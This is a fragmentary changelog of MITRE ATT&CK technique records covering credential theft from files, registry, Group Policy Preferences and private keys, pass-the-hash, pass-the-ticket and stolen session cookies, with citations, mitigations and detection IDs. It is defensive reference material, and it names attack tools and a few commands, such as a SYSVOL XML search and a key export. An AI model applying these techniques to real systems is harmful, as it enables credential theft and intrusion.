+ "url": "https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf"
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+ "Office Suite",
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+ "shared": [],
+ "new": [
+ "DET0573: Cross-Platform Detection of Data Transfer to Cloud Account"
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+ }
+ },
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+ "type": "attack-pattern",
+ "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:39.262000+00:00",
+ "modified": "2025-10-24 17:49:40.055000+00:00",
+ "name": "Trusted Developer Utilities Proxy Execution",
+ "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\n\nSmart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them.(Citation: Microsoft Smart App Control) However, adversaries may leverage \"reputation hijacking\" to abuse an operating system\u2019s trust of safe, signed applications that support the execution of arbitrary code. By leveraging [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127) to run their malicious code, adversaries may bypass Smart App Control protections.(Citation: Elastic Security Labs)",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1127",
+ "external_id": "T1127"
+ },
+ {
+ "source_name": "Exploit Monday WinDbg",
+ "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160816135945/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+ },
+ {
+ "source_name": "Elastic Security Labs",
+ "description": "Joe Desimone. (2024, August 5). Dismantling Smart App Control. Retrieved March 21, 2025.",
+ "url": "https://www.elastic.co/security-labs/dismantling-smart-app-control"
+ },
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+ "source_name": "LOLBAS Tracker",
+ "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.",
+ "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/"
+ },
+ {
+ "source_name": "Microsoft Smart App Control",
+ "description": "Microsoft. (n.d.). Smart App Control Frequently Asked Questions. Retrieved April 4, 2025.",
+ "url": "https://support.microsoft.com/en-us/windows/smart-app-control-frequently-asked-questions-285ea03d-fa88-4d56-882e-6698afdb7003"
+ },
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+ "source_name": "engima0x3 RCSI Bypass",
+ "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
+ "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
+ },
+ {
+ "source_name": "engima0x3 DNX Bypass",
+ "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
+ "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
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|---|---|---|---|---|---|
| t | 1 | Adversaries may search compromised systems to find and obtai | t | 1 | Adversaries may search compromised systems to find and obtai |
| > | n insecurely stored credentials. These credentials can be st | > | n insecurely stored credentials. These credentials can be st | ||
| > | ored and/or misplaced in many locations on a system, includi | > | ored and/or misplaced in many locations on a system, includi | ||
| > | ng plaintext files (e.g. [Bash History](https://attack.mitre | > | ng plaintext files (e.g. [Shell History](https://attack.mitr | ||
| > | .org/techniques/T1552/003)), operating system or application | > | e.org/techniques/T1552/003)), operating system or applicatio | ||
| > | -specific repositories (e.g. [Credentials in Registry](https | > | n-specific repositories (e.g. [Credentials in Registry](http | ||
| > | ://attack.mitre.org/techniques/T1552/002)), or other specia | > | s://attack.mitre.org/techniques/T1552/002)), or other speci | ||
| > | lized files/artifacts (e.g. [Private Keys](https://attack.mi | > | alized files/artifacts (e.g. [Private Keys](https://attack.m | ||
| > | tre.org/techniques/T1552/004)).(Citation: Brining MimiKatz t | > | itre.org/techniques/T1552/004)).(Citation: Brining MimiKatz | ||
| > | o Unix) | > | to Unix) |
http[:]//169.254.169.254.\n",
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+ "source_name": "RedLock Instance Metadata API 2018",
+ "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
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+ "source_name": "Krebs Capital One August 2019",
+ "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.",
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.351000+00:00\", \"old_value\": \"2025-04-15 22:09:34.621000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\\n\\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\\n-\\n-It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).\"}}}",
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+ "changelog_mitigations": {
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+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1030: Network Segmentation",
+ "M1035: Limit Access to Resource Over Network"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Authentication)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0198: Detect Abuse of Container APIs for Credential Access"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-04 12:52:13.006000+00:00",
+ "modified": "2025-10-24 17:49:03+00:00",
+ "name": "Credentials In Files",
+ "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1552/001",
+ "external_id": "T1552.001"
+ },
+ {
+ "source_name": "CG 2014",
+ "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
+ "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"
+ },
+ {
+ "source_name": "Unit 42 Hildegard Malware",
+ "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
+ "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
+ },
+ {
+ "source_name": "Unit 42 Unsecured Docker Daemons",
+ "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.",
+ "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"
+ },
+ {
+ "source_name": "Specter Ops - Cloud Credential Storage",
+ "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.",
+ "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"
+ },
+ {
+ "source_name": "SRD GPP",
+ "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
+ "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Rory McCune, Aqua Security",
+ "Jay Chen, Palo Alto Networks",
+ "Yossi Weizman, Azure Defender Research Team",
+ "Vishwas Manral, McAfee",
+ "Microsoft Threat Intelligence Center (MSTIC)"
+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "IaaS",
+ "Linux",
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+ "Windows"
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+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1022: Restrict File and Directory Permissions",
+ "M1027: Password Policies",
+ "M1047: Audit"
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+ "new": [],
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+ "DS0009: Process (Process Creation)",
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+ "DET0307: Detect Access to Unsecured Credential Files Across Platforms"
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+ "phase_name": "credential-access"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1552/002",
+ "external_id": "T1552.002"
+ },
+ {
+ "source_name": "Pentestlab Stored Credentials",
+ "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
+ "url": "https://pentestlab.blog/2017/04/19/stored-credentials/"
+ }
+ ],
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+ "x_mitre_contributors": [
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+ "x_mitre_platforms": [
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+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1047: Audit"
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+ "shared": [],
+ "new": [
+ "DET0250: Detect Credential Discovery via Windows Registry Enumeration"
+ ],
+ "dropped": []
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+ "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n",
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+ "phase_name": "credential-access"
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+ "external_id": "T1552.006"
+ },
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+ "source_name": "Obscuresecurity Get-GPPPassword",
+ "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.",
+ "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html"
+ },
+ {
+ "source_name": "Microsoft GPP 2016",
+ "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)"
+ },
+ {
+ "source_name": "Microsoft GPP Key",
+ "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.",
+ "url": "https://msdn.microsoft.com/library/cc422924.aspx"
+ },
+ {
+ "source_name": "ADSecurity Finding Passwords in SYSVOL",
+ "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
+ "url": "https://adsecurity.org/?p=2288"
+ }
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+ "x_mitre_platforms": [
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+ ],
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.282000+00:00\", \"old_value\": \"2025-04-15 22:39:12.196000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for attempts to access SYSVOL that involve searching for XML files. \\n\\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for attempts to access SYSVOL that involve searching for XML files. \\n-\\n-Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1015: Active Directory Configuration",
+ "M1047: Audit",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0381: Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-04 13:06:49.258000+00:00",
+ "modified": "2025-10-24 17:48:50.819000+00:00",
+ "name": "Private Keys",
+ "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
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+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1552/004",
+ "external_id": "T1552.004"
+ },
+ {
+ "source_name": "Palo Alto Prince of Persia",
+ "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
+ "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
+ },
+ {
+ "source_name": "cisco_deploy_rsa_keys",
+ "description": "Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.",
+ "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436"
+ },
+ {
+ "source_name": "AADInternals Azure AD Device Identities",
+ "description": "Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.",
+ "url": "https://aadinternals.com/post/deviceidentity/"
+ },
+ {
+ "source_name": "Kaspersky Careto",
+ "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
+ "url": "https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"
+ },
+ {
+ "source_name": "Microsoft Primary Refresh Token",
+ "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.",
+ "url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"
+ },
+ {
+ "source_name": "Wikipedia Public Key Crypto",
+ "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
+ "url": "https://en.wikipedia.org/wiki/Public-key_cryptography"
+ }
+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_platforms": [
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+ "Windows"
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+ "M1022: Restrict File and Directory Permissions",
+ "M1027: Password Policies",
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+ ],
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+ "changelog_datacomponent_detections": {
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+ "dropped": [
+ "DS0017: Command (Command Execution)",
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+ "new": [
+ "DET0549: Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms"
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+ "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1535",
+ "external_id": "T1535"
+ },
+ {
+ "source_name": "CloudSploit - Unused AWS Regions",
+ "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
+ "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"
+ }
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+ "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
+ "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
+ },
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+ "source_name": "NIST Authentication",
+ "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.",
+ "url": "https://csrc.nist.gov/glossary/term/authentication"
+ },
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+ "source_name": "NIST MFA",
+ "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.",
+ "url": "https://csrc.nist.gov/glossary/term/multi_factor_authentication"
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+ "external_id": "T1550.001"
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+ "source_name": "Crowdstrike AWS User Federation Persistence",
+ "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
+ "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
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+ "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
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+ "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
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+ "source_name": "AWS Logging IAM Calls",
+ "description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022.",
+ "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html"
+ },
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+ "source_name": "AWS Temporary Security Credentials",
+ "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
+ "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
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+ "source_name": "Microsoft Identity Platform Access 2019",
+ "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
+ "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
+ },
+ {
+ "source_name": "Google Cloud Service Account Credentials",
+ "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.",
+ "url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials"
+ },
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+ "source_name": "GCP Monitoring Service Account Usage",
+ "description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.",
+ "url": "https://cloud.google.com/iam/docs/service-account-monitoring"
+ },
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+ "source_name": "okta",
+ "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
+ "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"
+ },
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+ "source_name": "Rhino Security Labs Enumerating AWS Roles",
+ "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022.",
+ "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration"
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+ "source_name": "Staaldraad Phishing with OAuth 2017",
+ "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
+ "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"
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+ "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
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+ "name": "Pass the Hash",
+ "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)",
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+ "external_id": "T1550.002"
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+ "source_name": "Stealthbits Overpass-the-Hash",
+ "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
+ "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
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+ "previous_version": "1.3",
+ "changelog_mitigations": {
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+ "M1026: Privileged Account Management",
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+ "M1052: User Account Control"
+ ],
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+ "DS0028: Logon Session (Logon Session Creation)"
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+ "shared": [],
+ "new": [
+ "DET0409: Detection Strategy for T1550.002 - Pass the Hash (Windows)"
+ ],
+ "dropped": []
+ }
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+ "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-30 17:03:43.072000+00:00",
+ "modified": "2025-10-24 17:48:59.861000+00:00",
+ "name": "Pass the Ticket",
+ "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "lateral-movement"
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+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1550/003",
+ "external_id": "T1550.003"
+ },
+ {
+ "source_name": "CERT-EU Golden Ticket Protection",
+ "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
+ "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
+ },
+ {
+ "source_name": "Campbell 2014",
+ "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved November 17, 2024.",
+ "url": "https://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
+ },
+ {
+ "source_name": "GentilKiwi Pass the Ticket",
+ "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.",
+ "url": "https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
+ },
+ {
+ "source_name": "ADSecurity AD Kerberos Attacks",
+ "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
+ "url": "https://adsecurity.org/?p=556"
+ },
+ {
+ "source_name": "Stealthbits Overpass-the-Hash",
+ "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
+ "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
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+ ],
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+ "x_mitre_detection": "",
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+ "M1015: Active Directory Configuration",
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies"
+ ],
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+ "DS0002: User Account (User Account Authentication)",
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+ "shared": [],
+ "new": [
+ "DET0352: Detection Strategy for T1550.003 - Pass the Ticket (Windows)"
+ ],
+ "dropped": []
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+ },
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+ "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "modified": "2025-10-24 17:49:20.943000+00:00",
+ "name": "Web Session Cookie",
+ "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)",
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+ "source_name": "Unit 42 Mac Crypto Cookies January 2019",
+ "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
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+ "source_name": "Pass The Cookie",
+ "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
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+ "DET0074: Detect Use of Stolen Web Session Cookies Across Platforms"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "source_name": "Krebs Discord Bookmarks 2023",
+ "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
+ "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
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+ "source_name": "Reliaquest-execution",
+ "description": "Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.",
+ "url": "https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/"
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+ "source_name": "Telephone Attack Delivery",
